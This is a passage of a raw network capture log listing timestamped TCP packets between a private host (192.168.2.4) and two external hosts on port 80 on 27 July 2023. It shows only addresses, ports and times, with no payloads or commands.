Jul 27, 2023 18:27:05.119579077 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119585037 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119618893 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119623899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119662046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119683027 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119699955 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119765043 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119803905 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119815111 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119843960 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119853973 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119883060 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119921923 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119959116 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.119973898 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.119997025 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120004892 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120035887 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120074987 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120111942 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120130062 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120150089 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120156050 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120188951 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120225906 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120275021 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120315075 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120315075 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120333910 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120353937 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120392084 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120429039 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120444059 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120476961 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120496035 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120533943 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120570898 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120606899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120623112 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120646000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120646000 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120683908 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120722055 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120759010 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120779991 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120805979 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120807886 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120862961 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120902061 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120939970 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120944977 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.120978117 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.120986938 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121015072 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121052027 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121089935 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121103048 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121128082 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121133089 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121166945 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121203899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121211052 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121242046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121279955 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121287107 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121315956 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121355057 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121366024 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121392012 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121429920 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121454954 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121469021 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121506929 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121563911 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121563911 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121571064 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121613979 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121651888 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121654987 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121690035 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121700048 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121728897 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121767044 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121804953 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121820927 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121841908 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121881008 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121880054 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121939898 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.121947050 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.121985912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122024059 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122059107 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122076035 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122097015 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122107029 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122134924 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122173071 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122196913 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122210026 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122246027 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122267962 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122276068 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122288942 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122309923 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122315884 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122329950 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122350931 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122370005 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122371912 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122390032 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122405052 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122411966 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122432947 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122442007 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122453928 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122473001 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122486115 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122493029 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122514009 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122534037 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122553110 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122555017 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122574091 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122575045 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122601986 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122601986 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122632980 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122652054 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122665882 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122673035 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122694016 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122694969 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122715950 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122737885 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122756958 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122759104 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122777939 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122781038 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122797966 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122817993 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122819901 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122838974 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122859955 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122863054 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122883081 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122904062 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122924089 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122925043 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122941971 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.122946978 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122983932 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.122983932 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.123004913 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.123024940 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.123044968 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.123058081 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.123064041 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.123079062 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.123123884 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.138957977 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.146399021 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.413948059 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.414025068 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.430453062 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.430506945 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.495592117 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.495625973 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.495717049 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.505067110 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.505125046 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.522754908 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.522804976 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.591533899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.591573000 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.591739893 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.903501034 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:06.100625992 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:06.102065086 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:06.102371931 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:06.350378990 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:06.817341089 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:06.817378044 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:06.817399025 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:06.817420006 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:06.817471981 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:06.817504883 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.015619040 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.015654087 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.015710115 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.015746117 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.015767097 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.015786886 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.015805960 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.015810966 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.015825987 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.015846014 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.015856028 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.015882969 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.210120916 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210199118 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210308075 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210335016 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.210355043 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210402966 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210406065 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.210454941 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210505009 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210557938 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.210583925 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210630894 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210669041 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.210679054 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210728884 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210781097 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.210818052 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.210860968 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.216171980 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.216224909 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.216310978 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.216403008 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.216451883 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.216547012 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.407247066 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407325029 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407371998 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407397985 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.407418966 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407465935 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407476902 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.407511950 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407557964 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407581091 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.407604933 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407653093 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407700062 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407708883 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.407744884 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407794952 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.407798052 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.408129930 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.413127899 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413191080 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413235903 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413280964 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.413281918 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413330078 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413374901 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413388014 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.413422108 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413466930 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413479090 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.413512945 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413558960 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413572073 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.413604021 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413650036 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413659096 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.413697958 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.413752079 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.419595003 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.419665098 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.419714928 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.419742107 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.419761896 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.419810057 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.419821978 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.419857025 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.419903994 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.419912100 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.420900106 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.604670048 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.604743004 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.604792118 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.604831934 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.604837894 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.604886055 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.604906082 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.604932070 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.604979992 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.605026960 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.605034113 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.605073929 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.605092049 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.605123997 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.605170965 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.605195045 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.605218887 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.605958939 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.611094952 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611162901 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611211061 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611226082 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.611257076 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611304045 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611315012 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.611350060 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611397028 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611404896 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.611442089 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611489058 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611500978 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.611536026 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611581087 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611593962 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.611628056 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611675978 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.611685991 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.615986109 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616036892 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616079092 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.616086006 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616133928 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616163969 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.616180897 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616226912 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616251945 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.616298914 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616345882 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616394043 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616406918 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.616439104 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616486073 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616492987 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.616532087 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.616607904 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.620523930 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620572090 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620619059 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620659113 CEST	49711	80	192.168.2.4	187.204.99.218
Jul 27, 2023 18:27:07.620666981 CEST	80	49711	187.204.99.218	192.168.2.4
Jul 27, 2023 18:27:07.620687008 CEST	49711	80	192.168.2.4	187.204.99.218
